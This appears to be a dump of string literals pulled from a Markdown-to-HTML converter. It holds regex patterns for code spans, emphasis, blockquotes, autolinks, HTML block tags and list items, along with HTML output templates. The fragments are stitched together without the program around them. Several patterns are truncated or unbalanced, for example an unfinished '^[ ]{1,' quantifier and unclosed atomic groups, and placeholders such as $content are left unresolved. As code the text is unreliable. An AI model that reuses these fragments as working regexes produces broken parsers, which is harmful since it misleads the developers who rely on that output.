(?:{0}|{1})
\d+[.]
(?:(?<=\n\n)|\A\n?)
(?:\n\n|\A\n?)
( # $1 = the code block -- one or more lines, starting with a space
(?:
(?:[ ]{{{0}}}) # Lines must start with a tab-width of spaces
.*\n+
)+
)
((?=^[ ]{{0,{0}}}\S)|\Z) # Lookahead for non-space at line-start, or end of doc
(?<!\\) # Character before opening ` can't be a backslash
(`+) # $1 = Opening run of `
(.+?) # $2 = The code block
(?<!`)
\1
(?!`)
(\*\*|__) (?=\S) (.+?[*_]*) (?<=\S) \1
([\W_]|^) (\*\*|__) (?=\S) ([^\r]*?\S[\*_]*) \2 ([\W_]|$)
(\*|_) (?=\S) (.+?) (?<=\S) \1
([\W_]|^) (\*|_) (?=\S) ([^\r\*_]*?\S) \2 ([\W_]|$)
( # Wrap whole match in $1
(
^[ ]*>[ ]? # '>' at the start of a line
.+\n # rest of the first line
(.+\n)* # subsequent consecutive lines
\n* # blanks
)+
)
(^|\s)(https?|ftp)(://[-A-Z0-9+&@#/%?=~_|\[\]\(\)!:,\.;]*[-A-Z0-9+&@#/%=~_|\[\]])($|\W)
^[ ]{1,
&|<|>|\\|\*|_|\{|\}|\[|\]
&(?!(#[0-9]+)|(#[xX][a-fA-F0-9])|([a-zA-Z][a-zA-Z0-9]*);)
<(?![A-Za-z/?\$!])
"'*()[]$:
(?> # Atomic matching
[^\[\]]+ # Anything other than brackets
|
\[
)*
(?> # Atomic matching
[^()\s]+ # Anything other than parens or whitespace
|
\(
)*
"
ins|del
p|div|h[1-6]|blockquote|pre|table|dl|ol|ul|address|script|noscript|form|fieldset|iframe|math
(?>
# optional tag attributes
\s
# starts with whitespace
(?>
[^>"/]+
# text outside quotes
|
/+(?!>)
# slash not followed by >
|
"[^"]*"
# text inside double quotes (tolerate >)
|
'[^']*'
# text inside single quotes (tolerate >)
)*
)?
(?>
[^<]+
# content without tag
|
<\2
# nested opening tag
# attributes
(?>
/>
|
>
</\2\s*>
# closing nested tag
)
|
<(?!/\2\s*> # other tags with a different name
)
)*
(?>
(?>
(?<=\n) # Starting after a blank line
| # or
\A\n? # the beginning of the doc
)
( # save in $1
# Match from `\n<tag>` to `</tag>\n`, handling nested tags
# in between.
[ ]{0,$less_than_tab}
<($block_tags_b_re) # start tag = $2
$attr> # attributes followed by > and \n
$content # content, support nesting
</\2> # the matching end tag
[ ]* # trailing spaces
(?=\n+|\Z) # followed by a newline or end of document
| # Special version for tags of group a.
[ ]{0,$less_than_tab}
<($block_tags_a_re) # start tag = $3
$attr>[ ]*\n # attributes followed by >
$content2 # content, support nesting
</\3> # the matching end tag
[ ]* # trailing spaces
(?=\n+|\Z) # followed by a newline or end of document
| # Special case just for <hr />. It was easier to make a special
# case than to make the other regex more complicated.
[ ]{0,$less_than_tab}
<(hr) # start tag = $2
$attr # attributes
/?> # the matching end tag
[ ]*
(?=\n{2,}|\Z) # followed by a blank line or end of document
| # Special case for standalone HTML comments:
[ ]{0,$less_than_tab}
(?s:
<!-- .*? -->
)
[ ]*
(?=\n{2,}|\Z) # followed by a blank line or end of document
| # PHP and ASP-style processor instructions (<? and <%)
[ ]{0,$less_than_tab}
(?s:
<([?%]) # $2
.*?
\2>
)
[ ]*
(?=\n{2,}|\Z) # followed by a blank line or end of document
)
)
$less_than_tab
$block_tags_b_re
$block_tags_a_re
$content2
$content
<a href="
title="
[ ]*\n[ ]*
<a href="{0}"
title="{0}"
>{0}</a>
<img src="{0}" alt="{1}"
<h{1}>{0}</h{1}>
{1}</{0}>
\n{2,}\z
(\n)? # leading line = $1
(^[ ]*) # leading whitespace = $2
({0}) [ ]+ # list marker = $3
((?s:.+?) # list item text = $4
(\n{{1,2}}))
(?= \n* (\z | \2 ({0}) [ ]+))
<li>{0}</li>
<pre><code>
</code></pre>
<code>
</code>
$1<strong>$3</strong>$4
$1<em>$3</em>$4
<strong>$2</strong>
<em>$2</em>
<br{0}
{2,}\n
^[ ]*>[ ]?
^[ ]+$
(\s*<pre>.+?</pre>)
<blockquote>
</blockquote>
$1<$2$3>$4
<((https?|ftp):[^'">\s]+)>
(?:mailto:)?
(
[-.\w]+
\@
[-a-z0-9]+(\.[-a-z0-9]+)*\.[a-z]+
)
>
<a href="{0}">{0}</a>
mailto:
">.+?:
&#x{0:x};
&#{0};
(?<=.)</?code>(?=.)
(?>[^\[\]]+|\[
^[ \t]+$
^[ ]{{0,{0}}}\[(.+)\]:
# id = $1
[ \t]*
# maybe *one* newline
[ \t]*
<?(\S+?)>?
# url = $2
[ \t]*
# maybe one newline
[ \t]*
(?<=\s)
# lookbehind for whitespace
[\x22(]
# title = $3
[\x22)]
[ \t]*
# title is optional
(?:\n+|\Z)
p|div|h[1-6]|blockquote|pre|table|dl|ol|ul|script|noscript|form|fieldset|iframe|math|ins|del
p|div|h[1-6]|blockquote|pre|table|dl|ol|ul|script|noscript|form|fieldset|iframe|math
(
# save in $1
# start of line (with /m)
<({0})
# start tag = $2
# word break
(.*\n)*?
# any number of lines, minimally matching
# the matching end tag
[ \t]*
# trailing spaces/tabs
(?=\n+|\Z)
# followed by a newline or end of document
(
# save in $1
# start of line (with /m)
<({0})
# start tag = $2
# word break
(.*\n)*?
# any number of lines, minimally matching
.*</\2>
# the matching end tag
[ \t]*
# trailing spaces/tabs
(?=\n+|\Z)
# followed by a newline or end of document
(?:
(?<=\n\n)
# Starting after a blank line
# or
# the beginning of the doc
# save in $1
[ ]{{0, {0}}}
# start tag = $2
# word break
([^<>])*?
# the matching end tag
[ \t]*
(?=\n{{2,}}|\Z)
# followed by a blank line or end of document
(?<=\n\n)
# Starting after a blank line
# the beginning of the doc
# save in $1
[ ]{{0,{0}}}
(--.*?--\s*)+
[ \t]*
(?=\n{{2,}}|\Z)
# followed by a blank line or end of document
^[ ]{0,2}([ ]?\*[ ]?){3,}[ \t]*$
<hr />
^[ ]{0,2}([ ]? -[ ]?){3,}[ \t]*$
^[ ]{0,2}([ ]? _[ ]?){3,}[ \t]*$
(?:<[a-z\/!$](?:[^<>]|
(?s:<!(?:--.*?--\s*)+>)|(?s:<\?.*?\?>)|
( # wrap whole match in $1
\[
({0}) # link text = $2
\]